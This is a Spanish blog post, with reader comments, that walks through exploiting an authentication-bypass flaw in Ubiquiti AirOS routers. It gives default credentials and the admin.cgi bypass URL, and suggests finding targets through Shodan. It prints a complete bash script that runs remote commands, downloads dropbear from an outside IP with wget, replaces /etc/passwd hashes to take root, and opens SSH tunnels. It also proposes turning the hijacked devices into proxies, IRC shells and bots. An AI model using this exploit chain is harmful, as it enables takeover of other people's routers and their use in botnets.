Explotación, postexplotación y potencial del 0day en AirOS

En Diciembre del 2011, sd de fucksheep.org liberó un 0day que afectaba a los sistemas AirOS (http://seclists.org/fulldisclosure/2011/Dec/419) el cual fue parcheado aunque, como suele ser costumbre, no todos los sistemas han sido actualizados. 

No quiero entrar en debate de si los responsables son los usuarios, o el desarrollador, simplemente expongo el tema.

Todo esto y algo más, fue reportado a Ubiquiti, los cuales al principio agradecieron la aportación, pero en el segundo contacto pasaron del tema y ni siquiera contestaron. Consideramos que ha pasado el suficiente tiempo como para publicar la información.


Todas las pruebas han sido realizadas en dispositivos propios, en ningún momento en ajenos. Este aporte es meramente informativo, y no me responsabilizo del mal uso que se le pueda dar a esta información.
 

Me gustaria agradecer por su inestimable trabajo a PunkiD y MARCOSCARS02.

Voy a comenzar con algunos conceptos básicos necesarios para entender el reporte:

¿Qué es un AirOS y que 0day es este?


AirOS es un sistema operativo avanzado, creado por Ubiquiti, capaz de manejar un sistema Wireless, enrutamiento y mínimas características ips y seguridad. Un sistema operativo para routers que busca la sencillez y la facilidad, siendo muy intuitivo, mas información en: http://www.ubnt.com/.

Hablemos un poco del hardware. Las CPU's de los sistemas AirOS son procesadores mips (Microprocessor without Interlocked Pipeline Stages). Es una arquitectura que consume muy pocos recursos y tiene una funcionalidad aceptable. Al ser de arquitectura distinta a la de los PC's convencionales (generalmente de 32 o 64 bits), si queremos compilar algo para mips, necesitamos recurrir a la crosscompilación, es decir, compilar un programa/servicio para una arquitectura distinta a la máquina en la que estamos trabajando. Tras muchas pruebas, recurrimos a Buildroot, una utilidad de uclib que permite desde compilar el toolchain hasta herramientas típicas y básicas, una imagen de sistema, etc.


El 0day afectaba al archivo admin.cgi, el cual es capaz de mostrar el panel “Device Administration Utility” que contiene:

  •     Un Uploader.
  •     Un Chmod.
  •     Un Downloader.
  •     Una Shell.
Imágen del panel login:



Imágen del panel de administración:




Explotación

El usuario y la contraseña por defecto de los AirOS son:
    Usuario: ubnt
    Contraseña: ubnt
 

Se recomienda usar Shodan para la búsqueda de dispositivos AirOS, pero este tipo de búsquedas dejan escapar muchos dispositivos. Actualmente trabajamos en un scanner por rangos de IP para localizar todos.

Se puede observar que el error consiste en cambiar la url de una petición de login al cgi; /login.cgi/uri=/ por /admin.cgi/$vuln .
Siendo $vuln cualquiera de los sientes: *.ico *.gif, *.jpg, *.js, *.css, airview.jar.pack.gz, airview_manager.jnlp, airview.jnlp, airview.uavr.
Por ejemplo: http://IPairos/admin.cgi/lol.css
De esta forma conseguimos el panel de administración, para muchos el fin, pero esto es solo el principio.

Postexplotación

El sistema operativo que lleva montado, por defecto solo tiene permisos de lectura en la mayoría de los directorios del dispositivo. Pero en /etc hay permisos de escritura, así pues tenemos un /etc/persistent/ a modo de home en el dispositivo. Lo primero es tener consola root en el dispositivo, para poder tener el control total. A través del panel subimos y ejecutamos dropbear mas su respectiva key crosscompilados.

De esta forma ya hemos conseguido ssh. A partir de aquí, vuestra imaginación es lo importante, para ver el potencial de estos dispositivos.
Tras tener funcionales todos los binarios, tenemos un “miniserver” externo:




Tenemos un pequeño directorio con un puñado de binarios ya crosscompilados y listos para AirOS disponible en:

    http://5.175.223.63/bin/


Y empaquetado en .tar:


    http://5.175.223.63/bin.tar

Incluso podríamos incluir algunos más como ngircd (Un pequeño servidor IRC), o lo que se nos ocurra.

A continuación, vamos a pasar a automatizar estas tareas. Obviamente no puedo publicar más que un par de lineas para deja la imaginación flotar con bash y curl:

runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!'  -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }

Aplicaciones


Algunas de las cosas que se pueden hacer con estos dispositivos son:

  •     Encadenar AirOS a modo de proxys (SSH Tunneling).
  •     Shells de IRC.
  •     Bots.
  •     Servidor IRC.
  •     Servidor Web/ftp/etc
  •     Y muchas otras que podais imaginar.
Automatización del proceso

Pasemos a automatizar todo el proceso anterior. Para ello utilizaremos el airosh de la siguiente manera:

./airosh IPairos

El script se ejecutará y automáticamente comprobará si el dispositivo es vulnerable. Si es así, procederá a subir Dropbear, y a cambiar las claves de acceso, con contraseña:lol. De esta forma, habremos conseguido el acceso al dispositivo como administrador.




CODIGO: http://5.175.223.63/airosh

#!/bin/bash

host=$1
portlocal=$2
hostfinal=$3
portfinal=$4
unset c
usage() {
        # ./airosh IP
        exit 1
}
[[ -z "$host" ]] && c=1
[[ -z "$portlocal" ]] && c=2
[[ -z "$hostfinal" ]] && c=2
[[ -z "$portfinal" ]] && c=2

if [[ $c = 1 ]]; then
        echo "FAILED!"
        usage
else
        echo "OK"
fi
runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!'  -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }

runcmd 'cd /var/persistent;wget -q http://5.175.223.63/dropbearkey;wget -q http://5.175.223.63/dropbear;chmod +x dropbearkey dropbear;'  >>/tmp/airos.log

runcmd "[[ -e /var/sshd/lol.rsa ]] || ./dropbearkey -t rsa -f /var/sshd/lol.rsa" >>/tmp/airos.log

runcmd "./dropbear -b /var/sshd/motd -r /var/sshd/lol.rsa;" >>/tmp/airos.log

runcmd 'sed -i -e "s/:[^:]*:/:$1$.et5JTtj$6U9j6CSf7g3lNfhFenOX11:/" /etc/passwd;cat /etc/passwd'

echo -en "| >>user: "
read usr
[[ -z "$usr" ]] && usr=admin

if [[ "$c" = 2 ]]; then
        ssh -C "$usr@$host"
else
        ssh -g -L "0.0.0.0:$portlocal:$hostfinal:$portfinal" "$usr@$host"
fi
</pre>

Besos, Nineain

9 comentarios :

  1. Oh Ninain, buena entrada bro.

    Gr33tz!

    ResponderEliminar
  2. saludos, x alli leí q se podia subir una shell... lo intente, aparentemente subió, pero no me puedo mover a la carpeta tmp cuando ingreso los comandos alli en command line... como lo puedo hacer?

    ResponderEliminar
  3. mata el ligthttp, lanzalo con tu path y listo.

    Peor teniendo root, para que quieres una shell? ;)

    ResponderEliminar
  4. Hola. Podrias resubir los links de los programas croscompilados o poner un tutorial sobre como croscompilar? Es que he andado mirando por mil sitios y no se muy bien que arquitectura usa AirOS

    ResponderEliminar
  5. Aunque llego tarde, estoy intentando buscar informacion por todos lados de como subir el dropbear pero no doy con la solucion.

    El script no funciona ya que la url no esta activa.

    ResponderEliminar
  6. Hey a que directorio se tienen que subir los binario?

    ResponderEliminar
  7. buen aporte compañero. veo que manejas bien el asunto. se pueden poner los equipos a trabajar en anchos de canal de 35 MHZ a fin de eliminar interferencias

    ResponderEliminar
  8. buen aporte compañero. veo que manejas bien el asunto. se pueden poner los equipos a trabajar en anchos de canal de 35 MHZ a fin de eliminar interferencias

    ResponderEliminar